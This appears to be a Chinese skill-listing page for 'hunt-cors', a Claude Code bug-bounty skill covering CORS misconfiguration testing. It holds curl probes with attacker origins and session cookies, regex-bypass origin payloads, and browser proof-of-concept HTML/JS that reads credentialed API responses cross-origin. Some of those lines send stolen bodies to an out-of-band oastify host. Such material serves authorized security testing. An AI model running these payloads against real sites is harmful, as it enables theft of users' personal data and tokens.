mcpField
H
hunt-cors

hunt-cors

github.com/elementalsouls安全5.3k256 次安装今天更新
代码仓库

关于 hunt-cors

hunt-cors 是面向安全测试人员的 CORS 配置审计技能,提供从端点发现到浏览器验证的分阶段方法。它强调只有浏览器能读取经过身份验证的敏感响应,才构成有效影响证明。

主要功能

  1. 01发现带 CORS 响应头的端点
  2. 02检查来源反射与凭据配置
  3. 03测试可信来源正则绕过
  4. 04验证预检请求与消息来源检查
  5. 05用真实浏览器验证读取影响

适用场景

  1. 01审计 API 的跨域读取风险
  2. 02验证来源白名单正则缺陷
  3. 03检查预检请求是否允许跨域写入

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-cors

安装后在 Claude Code 中输入/hunt-cors确认已加载。

详细介绍

HUNT-CORS — 跨源资源共享配置错误

哪些情况确实有价值,哪些没有

只有当攻击者控制的源能够携带凭据跨源读取敏感的已认证数据,并且你有浏览器 PoC 证明响应正文可从 evil.com 读取时,CORS 才能评为 High。

两条会让大多数“发现”无效的浏览器硬性规则——请先检查:

  • Access-Control-Allow-Origin: * 不能与凭据搭配使用。 如果服务器返回 ACAO: *,浏览器会拒绝为 credentials: include 请求发送或公开响应。仅设置通配符的端点无法利用凭据进行攻击。只有当其提供的数据无需会话即可访问且敏感时(这种情况很少见),才值得关注——通常属于 Informational/Low。
  • 单独设置 Access-Control-Allow-Credentials: true 没有意义。 只有当 ACAO 反射/允许你的特定攻击者源,并且跨源携带凭据的 fetch 确实返回了可读取的正文时,它才有意义。响应中的 ACAC 若未反射你的源,不能证明任何问题。

如果你无法在真实浏览器中证明可以跨源读取已认证的响应正文,就不能评为 High。不要只提交响应头差异。


核心目标

  • 反射任意源 + 凭据 — 服务器回显 Origin 标头并设置 ACAC: true → 任意网站都能读取已认证的 API 响应。这是经典的 High。
  • 信任 null 源 — ACAO: null + ACAC: true。sandbox iframe(或 data:/重定向链)会发送 Origin: null,因此任意页面都能读取已认证数据。
  • 子域名正则绕过 — 受信任源的正则表达式存在解析缺陷。具体载荷取决于缺陷类型(参见第 3 阶段——大多数技能在这里都会出错)。
  • 接管子域名 → 受信任源 — CORS 策略信任一个悬空子域名;接管它并在其上托管 PoC(参见 hunt-subdomain)。
  • postMessage 缺少/未严格检查源 — 处理 event.data,却未严格验证 event.origin 的处理程序。

攻击面信号

Any endpoint returning an Access-Control-Allow-Origin header
API endpoints:   /api/*, /v1/*, /graphql
Profile/account: /api/me, /api/profile, /api/user, /api/session
Secrets/tokens:  /api/tokens, /api/keys, /api/csrf, /api/account/settings
Financial:       /api/balance, /api/transactions
Admin/internal:  /api/admin/*, /api/internal/*

优先检查需要会话 Cookie,且会在响应正文中返回 PII、令牌、CSRF 令牌或其他机密信息的端点。


分步漏洞搜寻方法

阶段 1 — 发现 CORS 端点
# Probe API endpoints. Use GET (not -I): some servers only emit CORS on GET,
# and -I sends HEAD which may be handled differently.
while read url; do
  result=$(curl -s -D - -o /dev/null "$url" \
    -H "Origin: https://evil.com" \
    -H "Cookie: $SESSION_COOKIE" | grep -i "access-control")
  [ -n "$result" ] && echo "=== $url ===" && echo "$result"
done < recon/$TARGET/api-endpoints.txt

# httpx bulk check
cat recon/$TARGET/live-hosts.txt | awk '{print $1}' | \
  httpx -H "Origin: https://evil.com" -match-string "access-control-allow-origin"
阶段 2 — 反射任意源 + null 源
# Does the server reflect an arbitrary Origin back?
curl -s -D - -o /dev/null https://$TARGET/api/me \
  -H "Origin: https://evil.com" \
  -H "Cookie: $SESSION_COOKIE" | grep -i "access-control"

# Vulnerable (the High case):
#   Access-Control-Allow-Origin: https://evil.com   <- reflects attacker origin
#   Access-Control-Allow-Credentials: true          <- + credentials => readable
#
# NOT exploitable for credentialed theft:
#   Access-Control-Allow-Origin: *                   <- browser blocks creds read
#   (no ACAC, or ACAC absent)                        <- not credentialed

# Null-origin trust
curl -s -D - -o /dev/null https://$TARGET/api/me \
  -H "Origin: null" \
  -H "Cookie: $SESSION_COOKIE" | grep -i "access-control"
# Looking for:  Access-Control-Allow-Origin: null  +  ACAC: true
阶段 3 — 子域名/可信来源正则表达式绕过

具体使用哪种载荷,取决于服务器存在哪种正则表达式缺陷。先确定缺陷类型,再发送匹配的载荷。如果判断错误,会浪费测试机会并造成假阴性。

服务器正则表达式(预期:信任 *.target.com)缺陷匹配的绕过来源原因
^https?://.*\.target\.com$无 — 点已转义,并且有结束锚点。配置正确。(没有简单的绕过方法)按设计,evil.target.com 属于范围内;x.target.com.evil.com 以 .evil.com 结尾,不满足 $。继续测试,或查找子域名接管漏洞。
^https?://.*target\.com$缺少点分隔符(target 前没有 \.)https://eviltarget.com.*target\.com$ 会匹配 eviltarget.com — 攻击者可以注册 eviltarget.com。
^https?://.*\.target\.com缺少结束锚点 $https://x.target.com.evil.com正则表达式会匹配前缀;出现 .target.com 后,.evil.com 会被忽略(没有 $)。
^https?://target\.com仅匹配前缀,没有 $https://target.com.evil.com匹配 target.com 前缀;其余部分不受约束。
^https?://.*\.target\.com$,但正则表达式中的点未转义(.*.target.com$)未转义的点 = “任意字符”类似 https://xtargetXcom...,或 https://evilZtargetZcom,其中 Z 可以是任意单个字符. 会匹配任意字符,从而扩大匹配范围。
上述任意一种浏览器在 Origin 中发送的特殊字符https://target.com%60.evil.com、https://target.com\x60evil.com某些解析器会将反引号/下划线视为字母;Safari/旧版浏览器可能会发送异常来源。请确认浏览器确实发送了该来源。
# Send each class-specific payload and watch what the server reflects.
for ORIGIN in \
  "https://evil.target.com" \
  "https://eviltarget.com" \
  "https://x.target.com.evil.com" \
  "https://target.com.evil.com" \
  "https://target.com%60.evil.com" \
  "http://target.com"; do
  RESULT=$(curl -s -D - -o /dev/null "https://$TARGET/api/me" \
    -H "Origin: $ORIGIN" \
    -H "Cookie: $SESSION_COOKIE" | grep -i "access-control")
  echo "[$ORIGIN] -> ${RESULT:-no CORS}"
done

只有当服务器将你可注册的来源反射到 ACAO,且 ACAC: true 时,绕过才算真实。反射回 evil.target.com 不算漏洞,除非你确实能控制 *.target.com 主机(这种情况请参阅阶段 6/hunt-subdomain)。

阶段 3b — 受信任的不安全(HTTP)来源

如果 ACAO 反射/允许任意 http:// 来源(即使来源在范围内且锚定正确),那么位于该明文主机上的网络攻击者就能注入页面,读取已认证的跨源响应正文 — 无需正则表达式缺陷,明文协议本身就是缺陷。

curl -s -D- -o/dev/null "https://$TARGET/api/me" -H "Origin: http://sub.$TARGET" -H "Cookie: $SESSION" | grep -i access-control

只有在中间人攻击者能够占据该 http 来源时(且未预加载 HSTS),这才算真实漏洞。与 hunt-tls-network 配合使用。(PortSwigger:使用受信任的不安全协议的 CORS。)

阶段 4 — 预检(OPTIONS)门控绕过

非简单请求(自定义标头、PUT/DELETE/PATCH、非简单 Content-Type)会触发 CORS 预检 OPTIONS 请求。只有预检响应允许相应方法/标头时,浏览器才会发送实际请求。需要测试两点:

  1. 预检是否允许你的来源使用任意方法/标头? 如果 Access-Control-Allow-Methods/Access-Control-Allow-Headers 会反射 你请求的内容,恶意来源就能发起更改状态的请求 (可进一步利用 CSRF 式写入,而这些写入通常会被 JSON/SameSite 阻止)。
curl -s -D - -o /dev/null -X OPTIONS "https://$TARGET/api/account/email" \
  -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: PUT" \
  -H "Access-Control-Request-Headers: x-custom-auth, content-type" \
  | grep -i "access-control"
# Vulnerable: ACAO reflects evil.com + ACAC:true +
#   Access-Control-Allow-Methods: PUT  +  Access-Control-Allow-Headers: x-custom-auth
# => attacker origin can issue authed PUT/DELETE with custom headers.
  1. 服务器端是否实际执行了预检? 某些服务器会在 OPTIONS 上反射 来源,但实际的 GET/POST 也会反射 — 读取路径本身才是漏洞;预检只是确认写入路径可达。也要直接测试 GET/POST — 切勿假定预检结果与实际请求结果相同。请在浏览器中确认,因为 curl 会完全忽略 CORS。
阶段 5 — 浏览器 PoC(唯一能证明影响的方式)

curl 不会强制执行 CORS——即使浏览器会阻止读取,它也会照样显示反射的响应头。每个 CORS 高危问题都需要浏览器 PoC。

5a. 反射任意来源并读取(托管在 evil.com 上,并在登录目标站点后打开):

<!doctype html><body><pre id="out"></pre>
<script>
fetch("https://TARGET/api/me", {credentials: "include"})
  .then(r => r.text())
  .then(d => {
    document.getElementById("out").innerText = d;        // prove readable body
    // OOB proof: fetch("https://OOB-ID.oastify.com/?d="+encodeURIComponent(d));
  })
  .catch(e => document.getElementById("out").innerText = "BLOCKED: " + e);
</script></body>

如果看到 BLOCKED / TypeError,说明浏览器拒绝了读取——无论 curl 显示了什么,这都不是有效发现(这是 ACAO: * + 凭据的情况)。

5b. Null 来源读取——sandbox iframe 会发送 Origin: null。内部文档必须不包含 allow-same-origin,这样其来源才是不透明的(null):

<!doctype html><body>

<iframe sandbox="allow-scripts" srcdoc='
  <script>
    fetch("https://TARGET/api/me", {credentials: "include"})
      .then(r => r.text())
      .then(d => parent.postMessage(d, "*"));
  &lt;/script&gt;'></iframe>
<script>
window.addEventListener("message", e => {
  // d is the authed body, read cross-origin via a null Origin
  // fetch("https://OOB-ID.oastify.com/?d="+encodeURIComponent(e.data));
  console.log("NULL-ORIGIN READ:", e.data);
});
</script></body>

(其他生成 null 来源的方式:data: / blob: 文档,或通过最终跳转跨协议的 302 重定向链来转发请求。)

5c. 受信任子域读取——控制一个正则表达式信任的主机后(通过接管获得真实子域,或使用符合阶段 3 中有缺陷正则表达式的可注册来源),将 5a 托管在该主机上。反射的来源现在是你合法托管的来源,因此浏览器会允许读取。

阶段 6 — postMessage 来源检查
# Find message handlers that don't strictly validate event.origin.
grep -rEn "addEventListener\(['\"]message" recon/$TARGET/ --include="*.js" \
  | grep -v "\.origin"
# Then audit each hit: does it check event.origin against an allowlist
# BEFORE using event.data? Weak checks to flag:
#   .indexOf("target.com") > -1      <- "target.com.evil.com" passes
#   .endsWith("target.com")          <- "eviltarget.com" passes
#   startsWith("https://target")     <- "https://target.evil.com" passes
#   no check at all

postMessage 与 HTTP CORS 属于不同类型的问题——影响发生在 DOM 端(XSS、客户端身份验证绕过)。有关利用细节,请参阅 hunt-dom。


自动化(仅用于分流——绝不能作为证明)

# corsy — fast reflection/null/pre-domain checks
pip3 install corsy
corsy -u https://$TARGET -t 10 --headers "Cookie: $SESSION_COOKIE"

# nuclei CORS templates
nuclei -u https://$TARGET -t http/misconfiguration/cors/

# Burp: passively flags origin reflection; always re-confirm in a real browser.

每个自动化命中都只是线索,不是发现。在浏览器中复现 5a/5b。


漏洞链表

CORS 发现漏洞链到影响
反射攻击者来源 + 凭据浏览器读取 /api/me、/api/tokens、/api/csrf窃取 PII + 令牌 + CSRF 令牌 → 通常可导致 ATO
反射来源 + 读取 CSRF 令牌hunt-csrf:窃取令牌 → 伪造状态变更针对受 CSRF 保护表单的 CSRF
预检允许任意方法/请求头从 evil 来源发起经过身份验证的 PUT/DELETE跨来源状态变更
受信任子域存在 XSShunt-xss → 从受信任来源运行 5a稳定读取带凭据的内容
悬空的受信任子域hunt-subdomain takeover → 在该处托管 5c完全读取带凭据的内容
postMessage 没有/来源检查宽松hunt-dom:注入 iframe,发送精心构造的消息DOM XSS / 客户端身份验证绕过

验证规范(提交前阅读)

  • 必须提供浏览器证明。 curl 反射响应头不等于利用成功。展示从 evil.com 读取经身份验证响应正文的截图/控制台日志。如果 fetch 抛出异常 / 记录 BLOCKED,则没有有效发现。
  • ACAO: * + 凭据 = 不构成发现。 浏览器会阻止此情况。只有当未经过身份验证即可访问的数据是敏感数据时,才追查通配符(此时通常为低危)。
  • ACAC: true 单独不能证明任何问题——它必须与反射的来源配合,并且成功读取跨来源响应正文。
  • 根据载荷匹配正则表达式类型(阶段 3)。 不要用 target.com.evil.com 去测试以转义点和结尾锚点收尾的正则表达式——它不匹配,也不是漏洞。
  • 反射 evil.target.com 不会自动构成漏洞——按设计,它属于范围内子域,除非你确实能够控制它。
  • 盲测/无头环境需进行带外(OOB)确认:将读取的响应正文外传至 Burp Collaborator / oastify 主机,并展示交互记录。每次测试使用唯一标记,确保命中记录明确属于你。
  • 敏感数据要求。 能读取 /api/health 不构成高危问题。要证明严重性,必须将读取内容与 PII、令牌、机密或财务数据关联起来。

严重性:

  • 反射攻击者来源 + 凭据 + 敏感响应正文,且有浏览器证明:高危
  • 预检授权攻击者来源对敏感操作进行状态变更:高危
  • Null 来源 + 敏感的经身份验证响应正文,且有浏览器证明:中危–高危
  • 借助子域接管/XSS 实现的带凭据读取:高危/严重
  • 反射来源,无凭据 / 数据不敏感:低危–信息性
  • 仅有 ACAO: *(无法使用凭据):信息性,除非数据属于机密

评论

支持 Markdown